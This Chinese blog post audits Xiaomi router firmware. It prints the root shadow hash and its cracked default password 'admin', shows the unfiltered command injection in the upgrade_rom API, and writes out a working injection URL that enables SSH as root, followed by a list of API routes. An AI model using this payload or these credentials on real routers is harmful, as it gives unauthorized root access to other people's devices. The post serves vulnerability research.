Chinaunix首页 | 论坛 | 博客
  • 博客访问: 59975
  • 博文数量: 37
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 90
  • 用 户 组: 普通用户
  • 注册时间: 2015-08-21 17:01
文章分类
文章存档

2015年(37)

我的朋友

分类: LINUX

2015-09-23 11:32:48

什么是OpenWrt

OpenWr是一个适用于路由器的Linux发行版,和其他Linux发行版一样,它也内置了包管理工具,你可以从一个软件仓库里直接安装软件。OpenWrt可以用在所有需要嵌入式Linux的地方,它有众多功能,比如SSH服务器,VPN,甚至是BitTorrent客户端。
OpenWrt并不适合所有人,大多数人对自己的路由器自带固件已经很满意了,但许多高级用户则会使用像DD-WRT这样的嵌入式替代方案。但OpenWrt更灵活——本质上它是一个可安装于各种路由器的嵌入式Linux系统。OpenWrt有一个web交互界面,但如果你需要的只是一个有更多特性的web界面,还有其他一些路由器固件的替代方案会让你感觉更好。和DD-WRT一样,OpenWrt基于Linux而且比一些路由器自带的固件更稳定,要知道有些路由器一旦遇到大量连接就会比较让人着急了。
目前国内基于OpenWrt二次开发的路由器,小米路由器、极路由、迅雷路由、如意云 等

小米路由器固件介绍

小米MIWIFI系统固件下载 htt#p:#/#/#miwifi.com/miwifi_download.htm

小米路由器ROM固件,BCM 4709 ARM架构,采用OpenWRT为基础二次开发,r1d.bin稳定版文件大小:43.6 MB,内部名称brcm4709_hdd.bin猜的。r1d_beta.bin开发版文件大小:36.0 MB,似乎官网提供的是不完整包,需要update更新。

以下内容均为解压0.4.58稳定版固件后分析编写,2014年04月26日编译。

1、检测系统弱口令

解压固件找到shadow文件查看,发现管理员账户只有root一个
root:$1$mGrY9Gpt$vT7nVZg7fYnJ3rI5.UvJP0:15861:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::


对root的hash解密发现路由既然用弱root密码,这是稳定版吗?隐约感觉有些危险的气息。


秒破root密码为:admin

继续跟一下这个默认密码问题,发现似乎在手机端或web端访问hello页面初始化路由的时候就已经固化了这个密码,稳定版如果这样弄我觉得没必要区分开发版和稳定版了。 都可以做为开发模式使用了,小米路由团队发布的时候就没考虑好这个问题?而且这个默认密码也太弱了,随时都可能发生危险。





2、检测系统lua脚本执行函数

对关键字“Exec”的执行函数,审计可以发现\usr\lib\lua\luci\controller\api\xqsystem.lua存在一处命令执行漏洞。XQFunction.forkExec(string.format("/usr/sbin/crontab_rom.sh %s %s %s", url, hash, filesize))中URL参数无过滤带入执行。攻击者可构造“api/xqsystem/upgrade_rom?url=命令1;命令2;命令3”执行任意命令,由于Web是用root用户身份运行,恶意语句会以root身份执行任意命令。
已知利用方式,开启SSH,返回{"code":0}执行成功。
首先用浏览器登录路由器管理平台,浏览器地址栏里显示这样的链接:192.168.31.1/cgi-bin/luci/;stok=f658e40e628915ff32b863b7b23e89fb/web/home
将链接中的 /web/home 替换成 /api/xqsystem/upgrade_rom?url=%3Bnvram+set+ssh_en%3D1%3Bnvram+commit%3B%2Fetc%2Finit.d%2Fdropbear+start%3B

  • -- 直接执行升级脚本
  • function upgradeRom()
  •     local XQFunction = require("xiaoqiang.common.XQFunction")
  •     local XQSysUtil = require("xiaoqiang.util.XQSysUtil")
  •     local url = LuciHttp.formvalue("url")
  •     local filesize = tostring(LuciHttp.formvalue("filesize"))
  •     local hash = tostring(LuciHttp.formvalue("hash"))
  •     local result = {}
  •     local code = 0
  •     if XQSysUtil.checkBeenUpgraded() then
  •         code = 1577
  •     elseif XQSysUtil.isUpgrading() then
  •         code = 1568
  •     end
  •     result["code"] = code
  •     if code ~= 0 then
  •        result["msg"] = XQErrorUtil.getErrorMessage(code)
  •     end
  •     LuciHttp.write_json(result)
  •     if code == 0 then
  •         XQFunction.sysLock()
  •         if url and filesize and hash then
  •             XQFunction.forkExec(string.format("/usr/sbin/crontab_rom.sh %s %s %s", url, hash, filesize))
  •         else
  •             XQFunction.forkExec("/usr/sbin/crontab_rom.sh")
  •         end
  •     end
  • end

[color=rgb(51, 102, 153) !important]复制代码

3、分析路由系统文件

对于系统文件的分析话题太大,我只是粗略分析一些文件的作用。抛砖引玉,这里我整理一些lua、sh等系统文件,大家可以自己用文本编辑器打开查看源码,可以通过内容搜索lua、sh脚本审计是否存在漏洞。如果想深入要反编译*.so动态链接库文件等系统文件,可以使用IDA Pro。
开放API接口文件列表:
    index.lua 预留
    xqdatacenter.lua 数据中心
    xqnetdetect.lua 网络状态检测
    xqnetwork.lua 网络设置
    xqpassport.lua 登陆接口
    xqsmarthome.lua 智能家居
    xqsystem.lua 系统设置

系统使用的类文件列表:
│  XQEquipment.lua
│  XQLog.lua
│  XQPreference.lua
│  XQPushHelper.lua
│  XQVersion.lua
│  
├─common
│      XQConfigs.lua
│      XQFunction.lua
│      
└─util
        XQCacheUtil.lua
        XQCryptoUtil.lua
        XQDBUtil.lua
        XQDeviceUtil.lua
        XQDownloadUtil.lua
        XQErrorUtil.lua
        XQHttpUtil.lua
        XQLanWanUtil.lua
        XQMitvUtil.lua
        XQNetUtil.lua
        XQQoSUtil.lua
        XQSecureUtil.lua
        XQSysUtil.lua
        XQUPnPUtil.lua
        XQVPNUtil.lua
        XQWifiUtil.lua

系统使用的一些程序及脚本
/usr/share/xiaoqiang/public.pem
/usr/sbin/webinitrdr.monitor
/usr/sbin/waitctlc
/usr/sbin/uhbn
/usr/sbin/traffic.lua
/usr/sbin/tftpupgrade
/usr/sbin/syslog-ng.helper
/usr/sbin/sysapi.firewall
/usr/sbin/sysapi
/usr/sbin/supervisord
/usr/sbin/stopallmonitor.sh
/usr/sbin/ntpsetclock
/usr/sbin/noflushd
/usr/sbin/networkdt
/usr/sbin/macfilterctl
/usr/sbin/log_collection.sh
/usr/sbin/iptaccount.set.firewall
/usr/sbin/initmacfilterctl
/usr/sbin/gettraffic.lua
/usr/sbin/getstat.lua
/usr/sbin/fixnvram
/usr/sbin/firewall.webinitrdr
/usr/sbin/fanctrl.sh
/usr/sbin/fan_tmp.sh
/usr/sbin/crontab_rom.sh
/usr/sbin/cpureset
/usr/sbin/cpulimit_daemon.sh
/usr/sbin/config_pre_ota.sh
/usr/sbin/config_post_ota.sh
/usr/sbin/config_collection.sh
/usr/sbin/checkupgrade.lua
/usr/sbin/addnewmac
/usr/lib/lua/sysapi/traffic.lua
/usr/lib/lua/json.lua
/userdisk/userdisk.readme
/lib/config_post_ota/macfilter_config_post_ota.sh
/etc/init.d/webinitrdr
/etc/init.d/traffic.counter
/etc/init.d/tftpboot
/etc/init.d/resetbutton
/etc/init.d/noflushd
/etc/init.d/networkdt
/etc/init.d/fantmp
/etc/init.d/cpulimit
/etc/config/macfilter
/etc/config/fanctrl
/bin/safeflash.sh
/bin/mkxqimage
/bin/flash_check.sh
/bin/flash.sh
/bin/cpulimit

系统内部文件
/etc/config/account
/etc/config/push
/etc/config/xiaoqiang
/etc/xqDb sqlite数据库
/usr/lib/lua/rc4.lua
/usr/lib/lua/service/util/ServiceErrorUtil.lua
/usr/lib/lua/sha1.lua
/usr/lib/lua/slaxdom.lua
/usr/lib/lua/slaxml.lua
/usr/lib/lua/xiaoqiang/common/XQConfigs.lua
/usr/lib/lua/xiaoqiang/common/XQFunction.lua
/usr/lib/lua/xiaoqiang/util/XQCacheUtil.lua
/usr/lib/lua/xiaoqiang/util/XQCryptoUtil.lua
/usr/lib/lua/xiaoqiang/util/XQDBUtil.lua
/usr/lib/lua/xiaoqiang/util/XQDeviceUtil.lua
/usr/lib/lua/xiaoqiang/util/XQDownloadUtil.lua
/usr/lib/lua/xiaoqiang/util/XQErrorUtil.lua
/usr/lib/lua/xiaoqiang/util/XQHttpUtil.lua
/usr/lib/lua/xiaoqiang/util/XQLanWanUtil.lua
/usr/lib/lua/xiaoqiang/util/XQMitvUtil.lua
/usr/lib/lua/xiaoqiang/util/XQNetUtil.lua
/usr/lib/lua/xiaoqiang/util/XQQoSUtil.lua
/usr/lib/lua/xiaoqiang/util/XQSecureUtil.lua
/usr/lib/lua/xiaoqiang/util/XQSysUtil.lua
/usr/lib/lua/xiaoqiang/util/XQUPnPUtil.lua
/usr/lib/lua/xiaoqiang/util/XQVPNUtil.lua
/usr/lib/lua/xiaoqiang/util/XQWifiUtil.lua
/usr/lib/lua/xiaoqiang/XQEquipment.lua
/usr/lib/lua/xiaoqiang/XQLog.lua
/usr/lib/lua/xiaoqiang/XQPreference.lua
/usr/lib/lua/xiaoqiang/XQPushHelper.lua
/usr/lib/lua/xiaoqiang/XQVersion.lua
/usr/lib/lua/xqcrypto.so
/usr/lib/lua/xssFilter.lua
/usr/sbin/feedPush
/usr/share/xiaoqiang/oui.zip


4、分析路由系统开放API接口

由于OpenWRT的Web控制都是使用lua脚本编写,只要拿到固件解压后查看lua都是源码,所以如果大家想写程序调用路由API的话,等待官方出文档肯定都是慢半拍的。所以如果需要的话可以自己阅读代码然后根据要求自己写。快速搞定哈!

怎么找漏洞?API有些是管理员调用,有一些是不需要管理员就可以使用的。小米路由器0x09的是不需要登录就可以使用的API,具体细节可以参考:\usr\lib\lua\luci\dispatcher.lua,搜索关键字“track.flag”。这只是越权调用API,当然如果你有耐心可以每个函数都看看没准还能发一些高危漏洞。


  • r1d\usr\lib\lua\luci\controller\api\xqdatacenter.lua (8 hits)
  • entry({"api", "xqdatacenter"}, firstchild(), _(""), 300)
  • entry({"api", "xqdatacenter", "request"}, call("tunnelRequest"), _(""), 301)
  • entry({"api", "xqdatacenter", "identify_device"}, call("identifyDevice"), _(""), 302, 0x08)
  • entry({"api", "xqdatacenter", "download"}, call("download"), _(""), 303)
  • entry({"api", "xqdatacenter", "upload"}, call("upload"), _(""), 304)
  • entry({"api", "xqdatacenter", "thumb"}, call("getThumb"), _(""), 305)
  • entry({"api", "xqdatacenter", "device_id"}, call("getDeviceId"), _(""), 306)
  • entry({"api", "xqdatacenter", "check_file_exist"}, call("checkFileExist"), _(""), 307)
  • r1d\usr\lib\lua\luci\controller\api\xqnetdetect.lua (6 hits)
  • entry({"api", "xqnetdetect"}, firstchild(), _(""), 350)
  • entry({"api", "xqnetdetect", "wan_status"}, call("getWanStatus"), _(""), 351, 0x01)
  • entry({"api", "xqnetdetect", "sys_info"}, call("getSysInfo"), (""), 352, 0x01)
  • entry({"api", "xqnetdetect", "ping_test"}, call("pingTest"), (""), 353, 0x01)
  • entry({"api", "xqnetdetect", "detect"}, call("systemDiagnostics"), (""), 354, 0x01)
  • entry({"api", "xqnetdetect", "sys_status"}, call("systemStatus"), (""), 355, 0x01)
  • r1d\usr\lib\lua\luci\controller\api\xqnetwork.lua (30 hits)
  • entry({"api", "xqnetwork"}, firstchild(), (""), 200)
  • entry({"api", "xqnetwork", "wifi_status"}, call("getWifiStatus"), (""), 201)
  • entry({"api", "xqnetwork", "wifi_detail"}, call("getWifiInfo"), (""), 202)
  • entry({"api", "xqnetwork", "wifi_detail_all"}, call("getAllWifiInfo"), (""), 202)
  • entry({"api", "xqnetwork", "wifi_connect_devices"}, call("getWifiConDev"), (""), 203)
  • entry({"api", "xqnetwork", "wifi_txpwr_channel"}, call("getWifiChTx"), (""), 204)
  • -- entry({"api", "xqnetwork", "set_wifi_txpwr_channel"}, call("setWifiChTx"), (""), 205)
  • entry({"api", "xqnetwork", "set_wifi_txpwr"}, call("setWifiTxpwr"), (""), 205)
  • entry({"api", "xqnetwork", "wifi_up"}, call("turnOnWifi"), (""), 206)
  • entry({"api", "xqnetwork", "wifi_down"}, call("shutDownWifi"), (""), 207)
  • entry({"api", "xqnetwork", "set_wifi"}, call("setWifi"), (""), 208)
  • --entry({"api", "xqnetwork", "get_scan_list"}, call("get_scan_list"), (""), 209, true)
  • --entry({"api", "xqnetwork", "wifi_ctl_scan"}, call("wifi_ctl_scan"), (""), 210)
  • --entry({"api", "xqnetwork", "get_bridge"}, call("get_bridge"), (""), 211, true)
  • --entry({"api", "xqnetwork", "set_bridge"}, call("set_bridge"), (""), 212)
  • entry({"api", "xqnetwork", "lan_info"}, call("getLanInfo"), (""), 213)
  • entry({"api", "xqnetwork", "wan_info"}, call("getWanInfo"), (""), 214)
  • entry({"api", "xqnetwork", "lan_dhcp"}, call("getLanDhcp"), (""), 215)
  • entry({"api", "xqnetwork", "wan_down"}, call("wanDown"), (""), 216)
  • entry({"api", "xqnetwork", "wan_up"}, call("wanUp"), (""), 217)
  • entry({"api", "xqnetwork", "check_wan_type"}, call("getAutoWanType"), (""), 218, 0x08)
  • entry({"api", "xqnetwork", "wan_statistics"}, call("getWanStatistics"), (""), 219)
  • entry({"api", "xqnetwork", "devices_statistics"}, call("getDevsStatistics"), (""), 220)
  • entry({"api", "xqnetwork", "device_statistics"}, call("getDevStatistics"), (""), 221)
  • entry({"api", "xqnetwork", "set_lan_ip"}, call("setLanIp"), (""), 222)
  • entry({"api", "xqnetwork", "set_wan"}, call("setWan"), (""), 223, 0x08)
  • entry({"api", "xqnetwork", "set_lan_dhcp"}, call("setLanDhcp"), (""), 224)
  • entry({"api", "xqnetwork", "mac_clone"}, call("setWanMac"), (""), 225)
  • entry({"api", "xqnetwork", "set_all_wifi"}, call("setAllWifi"), (""), 226)
  • entry({"api", "xqnetwork", "avaliable_channels"}, call("getChannels"), (""), 227)
  • r1d\usr\lib\lua\luci\controller\api\xqpassport.lua (10 hits)
  • entry({"api", "xqpassport"}, firstchild(), (""), 400)
  • entry({"api", "xqpassport", "login"}, call("passportLogin"), (""), 401, 0x01)
  • entry({"api", "xqpassport", "userInfo"}, call("getUserInfo"), (""), 402)
  • entry({"api", "xqpassport", "rigister"}, call("routerRegister"), (""), 405, 0x01)
  • entry({"api", "xqpassport", "binded"}, call("getBindInfo"), (""), 406, 0x01)
  • entry({"api", "xqpassport", "plugin_list"}, call("pluginList"), (""), 407)
  • entry({"api", "xqpassport", "plugin_enable"}, call("pluginEnable"), (""), 408)
  • entry({"api", "xqpassport", "plugin_disable"}, call("pluginDisable"), (""), 409)
  • entry({"api", "xqpassport", "plugin_detail"}, call("pluginDetail"), (""), 410)
  • entry({"api", "xqpassport", "unbound"}, call("unboundRouter"), (""), 411)
  • r1d\usr\lib\lua\luci\controller\api\xqsmarthome.lua (5 hits)
  • entry({"api", "xqsmarthome"}, firstchild(), _(""), 500)
  • entry({"api", "xqsmarthome", "request"}, call("tunnelSmartHomeRequest"), _(""), 501)
  • entry({"api", "xqsmarthome", "request_smartcontroller"}, call("tunnelSmartControllerRequest"), _(""), 502)
  • entry({"api", "xqsmarthome", "request_miio"}, call("tunnelMiioRequest"), _(""), 503)
  • entry({"api", "xqsmarthome", "request_mitv"}, call("requestMitv"), _(""), 504)
  • r1d\usr\lib\lua\luci\controller\api\xqsystem.lua (71 hits)
  • entry({"api", "xqsystem"}, firstchild(), (""), 100)
  • entry({"api", "xqsystem", "login"}, call("actionLogin"), (""), 109, 0x08)
  • entry({"api", "xqsystem", "init_info"}, call("getInitInfo"), (""), 101, 0x09)
  • entry({"api", "xqsystem", "token"}, call("getToken"), (""), 103, 0x08)
  • entry({"api", "xqsystem", "set_inited"}, call("setInited"), (""), 103, 0x08)
  • entry({"api", "xqsystem", "system_info"}, call("getSysInfo"), (""), 104, 0x01)
  • entry({"api", "xqsystem", "set_name_password"}, call("setPassword"), (""), 105)
  • entry({"api", "xqsystem", "check_rom_update"}, call("checkRomUpdate"), (""), 106)
  • entry({"api", "xqsystem", "lan_wan"}, call("getLanWanSta"), (""), 106)
  • entry({"api", "xqsystem", "flash_rom"}, call("flashRom"), (""), 108)
  • entry({"api", "xqsystem", "router_name"}, call("getRouterName"), (""), 110)
  • entry({"api", "xqsystem", "set_router_name"}, call("setRouterName"), (""), 111)
  • entry({"api", "xqsystem", "device_list"}, call("getDeviceList"), (""), 112)
  • entry({"api", "xqsystem", "set_device_nickname"}, call("setDeviceNickName"), (""), 113)
  • entry({"api", "xqsystem", "internet_connect"}, call("isInternetConnect"), (""), 114)
  • entry({"api", "xqsystem", "upload_rom"}, call("uploadRom"), (""), 115)
  • entry({"api", "xqsystem", "get_languages"}, call("getLangList"), (""), 118, 0x01)
  • entry({"api", "xqsystem", "get_main_language"}, call("getMainLang"), (""), 119, 0x01)
  • entry({"api", "xqsystem", "set_language"}, call("setLang"), (""), 120)
  • entry({"api", "xqsystem", "upload_log"}, call("uploadLogFile"), (""), 124)
  • entry({"api", "xqsystem", "backup_config"}, call("uploadConfigFile"), (""), 125)
  • entry({"api", "xqsystem", "config_recovery"}, call("configRecovery"), (""), 126)
  • entry({"api", "xqsystem", "router_init"}, call("setRouter"), (""), 126, 0x08)
  • entry({"api", "xqsystem", "information"}, call("getAllInfo"), (""), 127)
  • entry({"api", "xqsystem", "status"}, call("getStatusInfo"), (""), 128)
  • entry({"api", "xqsystem", "count"}, call("getConDevCount"), (""), 129)
  • entry({"api", "xqsystem", "reboot"}, call("reboot"), (""), 130)
  • entry({"api", "xqsystem", "reset"}, call("reset"), (""), 131)
  • entry({"api", "xqsystem", "passport_bind_info"}, call("getPassportBindInfo"), (""), 132, 0x01)
  • entry({"api", "xqsystem", "set_passport_bound"}, call("setPassportBound"), (""), 133, 0x08)
  • entry({"api", "xqsystem", "get_sys_avg_load"}, call("getSysAvgLoad"), (""), 134)
  • entry({"api", "xqsystem", "set_mac_filter"}, call("setMacFilter"), (""), 135)
  • entry({"api", "xqsystem", "renew_token"}, call("renewToken"), (""), 136)
  • entry({"api", "xqsystem", "remove_passport_info"}, call("removePassportBindInfo"), (""), 137)
  • entry({"api", "xqsystem", "upgrade_rom"}, call("upgradeRom"), (""), 138)
  • entry({"api", "xqsystem", "wps"}, call("openWps"), (""), 139, 0x08)
  • entry({"api", "xqsystem", "wps_status"}, call("getWpsStatus"), (""), 140)
  • entry({"api", "xqsystem", "stop_nginx"}, call("stopNginx"), (""), 141)
  • entry({"api", "xqsystem", "check_router_name_pending"}, call("checkRouterNamePending"), (""), 142)
  • entry({"api", "xqsystem", "clear_router_name_pending"}, call("clearRouterNamePending"), (""), 143)
  • entry({"api", "xqsystem", "web_url"}, call("redirectUrl"), (""), 144)
  • entry({"api", "xqsystem", "start_nginx"}, call("startNginx"), (""), 145)
  • entry({"api", "xqsystem", "nginx"}, call("nginxCacheStatus"), (""), 146)
  • entry({"api", "xqsystem", "flash_status"}, call("flashStatus"), (""), 147, 0x01)
  • entry({"api", "xqsystem", "upgrade_status"}, call("upgradeStatus"), (""), 148, 0x0d)
  • entry({"api", "xqsystem", "create_sandbox"}, call("createSandbox"), (""), 149)
  • entry({"api", "xqsystem", "is_sandbox_created"}, call("isSandboxCreated"), (""), 150)
  • entry({"api", "xqsystem", "mount_things"}, call("mountThings"), (""), 151)
  • entry({"api", "xqsystem", "umount_things"}, call("umountThings"), (""), 152)
  • entry({"api", "xqsystem", "are_things_mounted"}, call("areThingsMounted"), (""), 153)
  • entry({"api", "xqsystem", "start_dropbear"}, call("startDropbear"), (""), 154)
  • entry({"api", "xqsystem", "stop_dropbear"}, call("stopDropbear"), (""), 155)
  • entry({"api", "xqsystem", "is_dropbear_started"}, call("isDropbearStarted"), (""), 156)
  • entry({"api", "xqsystem", "main_status_for_app"}, call("mainStatusForApp"), (""), 157)
  • entry({"api", "xqsystem", "mode"}, call("getMacfilterMode"), (""), 158)
  • entry({"api", "xqsystem", "set_mode"}, call("setMacfilterMode"), (""), 159)
  • entry({"api", "xqsystem", "cancel"}, call("cancelUpgrade"), (""), 160, 0x0d)
  • entry({"api", "xqsystem", "shutdown"}, call("shutdown"), (""), 161)
  • entry({"api", "xqsystem", "upnp"}, call("upnpList"), (""), 162)
  • entry({"api", "xqsystem", "upnp_switch"}, call("upnpSwitch"), (""), 163)
  • entry({"api", "xqsystem", "app_limit"}, call("appLimit"), (""), 164)
  • entry({"api", "xqsystem", "app_limit_switch"}, call("appLimitSwitch"), (""), 165)
  • entry({"api", "xqsystem", "set_app_limit"}, call("setAppLimit"), (""), 166)
  • entry({"api", "xqsystem", "vpn"}, call("vpnInfo"), (""), 167)
  • entry({"api", "xqsystem", "vpn_status"}, call("vpnStatus"), (""), 168)
  • entry({"api", "xqsystem", "vpn_switch"}, call("vpnSwitch"), (""), 169)
  • entry({"api", "xqsystem", "set_vpn"}, call("setVpn"), (""), 170)
  • entry({"api", "xqsystem", "device_mac"}, call("getDeviceMacaddr"), (""), 171, 0x01)
  • entry({"api", "xqsystem", "wps_cancel"}, call("stopWps"), (""), 172)
  • entry({"api", "xqsystem", "detection_ts"}, call("getDetectionTimestamp"), (""), 173)
  • entry({"api", "xqsystem", "wifi_log"}, call("getWifiLog"), (""), 174)
阅读(5824) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~